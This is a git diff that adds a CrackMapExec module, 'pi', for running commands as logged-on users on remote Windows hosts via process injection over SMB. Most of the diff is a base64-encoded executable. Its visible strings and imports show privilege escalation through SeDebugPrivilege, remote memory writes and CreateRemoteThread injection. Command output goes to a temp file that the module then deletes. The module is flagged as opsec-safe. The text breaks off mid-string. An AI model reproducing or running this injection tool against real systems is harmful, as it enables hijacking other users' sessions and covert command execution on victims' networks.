diff --git a/cme/modules/pi.py b/cme/modules/pi.py new file mode 100644 index 00000000..813ee42e --- /dev/null +++ b/cme/modules/pi.py @@ -0,0 +1,79 @@ +from base64 import b64decode +from sys import exit +from os import path + +class CMEModule: + + name = "pi" + description = "Run command as logged on users via Process Injection" + supported_protocols = ["smb"] + opsec_safe = True + multiple_hosts = True + + def options(self, context, module_options): + ''' + PID // Process ID for Target User, PID=pid + EXEC // Command to exec, EXEC='command' Single quote is better to use + + This module reads the executed command output under the name C:\windows\temp\output.txt and deletes it. In case of a possible error, it may need to be deleted manually. + ''' + + self.tmp_dir = "C:\\Windows\\Temp\\" + self.share = "C$" + self.tmp_share = self.tmp_dir.split(":")[1] + self.pi = "pi.exe" + self.useembeded = True + self.pid = self.cmd = "" + self.pi_embedded = b64decode("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bnRQcm9jZXNzAAIGV2FpdEZvclNpbmdsZU9iamVjdAAkBE9wZW5Qcm9jZXNzAKcFU2xlZXAAdAJHZXRMYXN0RXJyb3IAAI4AQ2xvc2VIYW5kbGUAxAJHZXRQcm9jQWRkcmVzcwAA8gVWaXJ0dWFsQWxsb2NFeAAAjAJHZXRNb2R1bGVIYW5kbGVXAADwAENyZWF0ZVJlbW90ZVRocmVhZAAA9QVWaXJ0dWFsRnJlZUV4AEtFUk5FTDMyLmRsbAAAIgJPcGVuUHJvY2Vzc1Rva2VuAAAfAEFkanVzdFRva2VuUHJpdmlsZWdlcwCvAUxvb2t1cFByaXZpbGVnZVZhbHVlVwBBRFZBUEkzMi5kbGwAALQCP2NvdXRAc3RkQEAzVj8kYmFzaWNfb3N0cmVhbUBEVT8kY2hhcl90cmFpdHNAREBzdGRAQEAxQEEAAB4FP3VuY2F1Z2h0X2V4Y2VwdGlvbkBzdGRAQFlBX05YWgDhBD9zcHV0bkA/JGJhc2ljX3N0cmVhbWJ1ZkBEVT8kY2hhcl90cmFpdHNAREBzdGRAQEBzdGRAQFFFQUFfSlBFQkRfSkBaAAA0BT93aWRlbkA/JGJhc2ljX2lvc0BEVT8kY2hhcl90cmFpdHNAREBzdGRAQEBzdGRAQFFFQkFEREBaAABhBD9wdXRAPyRiYXNpY19vc3RyZWFtQERVPyRjaGFyX3RyYWl0c0BEQHN0ZEBAQHN0ZEBAUUVBQUFFQVYxMkBEQFoAAN4EP3NwdXRjQD8kYmFzaWNfc3RyZWFtYnVmQERVPyRjaGFyX3RyYWl0c0BEQHN0ZEBAQHN0ZEBAUUVBQUhEQFoAAEQCP19Pc2Z4QD8kYmFz